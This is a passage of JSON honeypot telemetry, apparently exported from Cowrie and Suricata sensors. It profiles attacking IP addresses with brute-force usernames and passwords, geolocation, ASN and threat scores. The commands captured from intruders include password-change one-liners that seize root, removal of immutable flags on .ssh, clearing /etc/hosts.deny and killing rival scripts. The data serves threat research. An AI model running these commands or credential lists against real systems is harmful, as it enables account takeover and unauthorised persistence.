        "deamon",
        "passbolt123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\ngTrbD0JZeaDh\\ngTrbD0JZeaDh\\n\"|passwd",
        "echo -e \"123\\ngTrbD0JZeaDh\\ngTrbD0JZeaDh\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T12:08:23.513000+00:00",
        "last_seen_30d": "2026-03-09T12:31:33.661000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "131.255.240.10": {
      "attack_count": 119,
      "first_seen": "2026-03-07T15:12:06.143Z",
      "last_seen": "2026-03-07T15:44:06.329Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "informatica",
        "345gs5662d34",
        "b",
        "den",
        "devops",
        "jwlee",
        "mailcow",
        "zxy"
      ],
      "passwords_attempted": [
        "1234509876",
        "123qweASD",
        "3245gs5662d34",
        "345gs5662d34",
        "Den123!",
        "Welcome1",
        "b",
        "devops123",
        "informatica123!",
        "jwlee123!",
        "mailcow123!",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"informatica123!\\nO458cE3CHvpi\\nO458cE3CHvpi\\n\"|passwd",
        "echo -e \"informatica123!\\nO458cE3CHvpi\\nO458cE3CHvpi\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Salta",
      "asn": 269810,
      "as_org": "SM COMUNICACIONES S.R.L.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 151,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T15:12:06.143000+00:00",
        "last_seen_30d": "2026-03-07T15:45:08.146000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 32
      }
    },
    "139.59.58.25": {
      "attack_count": 119,
      "first_seen": "2026-03-23T15:06:53.202Z",
      "last_seen": "2026-03-23T15:27:55.559Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "real",
        "345gs5662d34",
        "admin",
        "choi",
        "dev",
        "f",
        "gianluca",
        "hh",
        "lg",
        "mosquitto",
        "timemachine"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd",
        "a5201314",
        "f",
        "gianlucapass",
        "lgpass",
        "mosquitto",
        "password",
        "timemachine"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nNx5NYyszJbDQ\\nNx5NYyszJbDQ\\n\"|passwd",
        "echo -e \"password\\nNx5NYyszJbDQ\\nNx5NYyszJbDQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T15:06:53.202000+00:00",
        "last_seen_30d": "2026-03-23T15:29:01.341000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "37.49.227.76": {
      "attack_count": 119,
      "first_seen": "2026-03-24T00:56:30.116Z",
      "last_seen": "2026-03-24T01:16:05.903Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "canal",
        "345gs5662d34",
        "ftpuser",
        "logviewer",
        "openvpn",
        "root",
        "simon",
        "tunnel",
        "vadim",
        "wireguard",
        "x"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Wireguard123!",
        "admin@12",
        "password",
        "tunnelpass",
        "x"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nKz18XDO05va2\\nKz18XDO05va2\\n\"|passwd",
        "echo -e \"12345678\\nKz18XDO05va2\\nKz18XDO05va2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 3920,
      "as_org": "PUSHPKT OU",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T00:56:30.116000+00:00",
        "last_seen_30d": "2026-03-24T01:17:09.039000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "68.183.87.132": {
      "attack_count": 119,
      "first_seen": "2026-03-05T20:33:28.034Z",
      "last_seen": "2026-03-05T20:53:18.415Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "eadmin",
        "345gs5662d34",
        "Guest",
        "email",
        "hzy",
        "kjh",
        "mobile",
        "pedro",
        "project",
        "root",
        "socksuser"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345678",
        "1337",
        "3245gs5662d34",
        "345gs5662d34",
        "Eadmin123!",
        "Kjh123!",
        "Pedro123!",
        "email123",
        "mobile123!",
        "project"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Eadmin123!\\nfP19HxDv2DBM\\nfP19HxDv2DBM\\n\"|passwd",
        "echo -e \"Eadmin123!\\nfP19HxDv2DBM\\nfP19HxDv2DBM\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T20:33:28.034000+00:00",
        "last_seen_30d": "2026-03-05T20:54:26.719000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "185.203.236.212": {
      "attack_count": 118,
      "first_seen": "2026-03-08T20:34:46.970Z",
      "last_seen": "2026-03-08T20:53:35.231Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hzy",
        "karim",
        "macha",
        "manu",
        "salman",
        "sistemas",
        "wordpress",
        "zz"
      ],
      "passwords_attempted": [
        "!QAZ2wsx2025",
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Cs123456",
        "karim123!",
        "manupass",
        "password",
        "salman",
        "sistemaspass",
        "wordpress1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Q7A7fbvDub4h\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T20:34:46.970000+00:00",
        "last_seen_30d": "2026-03-08T20:54:41.649000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "49.249.44.254": {
      "attack_count": 118,
      "first_seen": "2026-03-03T23:07:33.139Z",
      "last_seen": "2026-03-03T23:36:13.228Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456zx",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456.",
        "A123@123",
        "Aa123456..",
        "Hw@123456",
        "aa879162",
        "abc123..",
        "q1w2e3",
        "qq123456",
        "user2000"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:FQa0FNWXjTB9\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 45820,
      "as_org": "Tata Teleservices ISP AS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:07:33.139000+00:00",
        "last_seen_30d": "2026-03-03T23:37:17.146000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "2.56.126.190": {
      "attack_count": 108,
      "first_seen": "2026-03-31T06:17:06.933Z",
      "last_seen": "2026-03-31T07:42:34.412Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123asd!@#ASD",
        "Parola!23",
        "Support!2026",
        "korea111",
        "lofasz",
        "printemps",
        "rootsuper",
        "t3st1ng",
        "team12345",
        "zxcvbnm123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:DUCjFLlDGXBv\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Cyprus",
      "country_code": "CY",
      "city": null,
      "asn": 209847,
      "as_org": "WorkTitans B.V.",
      "threat_score": 42.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.6,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-30T18:09:00+00:00",
        "last_seen_30d": "2026-03-31T07:43:38.682000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 34,
        "Honeytrap": 1
      }
    },
    "209.38.24.207": {
      "attack_count": 90,
      "first_seen": "2026-03-11T11:48:54.457Z",
      "last_seen": "2026-03-11T12:08:51.137Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "Password1",
        "admin",
        "admin123",
        "default",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T11:48:54.457000+00:00",
        "last_seen_30d": "2026-03-11T12:09:53.638000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 90,
        "Suricata": 39
      }
    },
    "38.188.160.185": {
      "attack_count": 33,
      "first_seen": "2026-03-10T23:07:53.144Z",
      "last_seen": "2026-03-11T00:09:47.668Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1301",
        "140386",
        "210889",
        "852741",
        "juin",
        "paradi"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:07:53.144000+00:00",
        "last_seen_30d": "2026-03-11T00:10:54.504000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 16
      }
    },
    "103.74.21.18": {
      "attack_count": 28,
      "first_seen": "2026-03-02T04:26:24.712Z",
      "last_seen": "2026-03-02T04:29:26.139Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 139879,
      "as_org": "Galaxy Broadband",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:26:24.712000+00:00",
        "last_seen_30d": "2026-03-02T04:30:26.958000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "185.242.226.39": {
      "attack_count": 20,
      "first_seen": "2026-03-14T09:06:49.776Z",
      "last_seen": "2026-03-22T11:31:13.745Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "",
        "GET / HTTP/1.0"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 79.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8701,
        "days_active_30d": 25,
        "ports_targeted_30d": 514,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T00:00:12.006000+00:00",
        "last_seen_30d": "2026-03-26T01:27:16.853000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5180,
        "Honeytrap": 3263,
        "Adbhoney": 126,
        "Dionaea": 46,
        "ConPot": 44,
        "Cowrie": 20,
        "Miniprint": 12,
        "Ciscoasa": 6,
        "Dicompot": 2,
        "H0neytr4p": 2
      }
    },
    "151.240.30.21": {
      "attack_count": 15,
      "first_seen": "2026-03-12T09:20:44.920Z",
      "last_seen": "2026-03-12T09:20:52.921Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "omooba",
        "root"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Nancy",
      "asn": 215114,
      "as_org": "Stevan Durand--L'Hours t/a SLBCLOUD",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T09:20:44.920000+00:00",
        "last_seen_30d": "2026-03-12T09:21:57.996000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "139.135.44.46": {
      "attack_count": 14,
      "first_seen": "2026-03-21T01:25:40.793Z",
      "last_seen": "2026-03-21T01:27:11.241Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T01:25:40.793000+00:00",
        "last_seen_30d": "2026-03-21T01:28:18.779000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "183.212.245.96": {
      "attack_count": 14,
      "first_seen": "2026-03-20T23:22:46.304Z",
      "last_seen": "2026-03-20T23:25:56.632Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T23:22:46.304000+00:00",
        "last_seen_30d": "2026-03-20T23:27:03.952000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "162.142.125.194": {
      "attack_count": 10,
      "first_seen": "2026-03-04T02:34:13.393Z",
      "last_seen": "2026-03-13T00:33:36.066Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 59.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.8,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 21,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T03:07:06+00:00",
        "last_seen_30d": "2026-03-22T16:52:23.841000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 42,
        "Cowrie": 10,
        "ElasticPot": 7,
        "CitrixHoneypot": 4
      }
    },
    "185.220.101.146": {
      "attack_count": 10,
      "first_seen": "2026-03-04T13:09:51.577Z",
      "last_seen": "2026-03-09T23:34:47.234Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "supports"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2025support",
        "z@3t4rf1fin0"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T13:09:51.577000+00:00",
        "last_seen_30d": "2026-03-09T23:35:51.779000+00:00",
        "days_since_last_seen": 22
      },
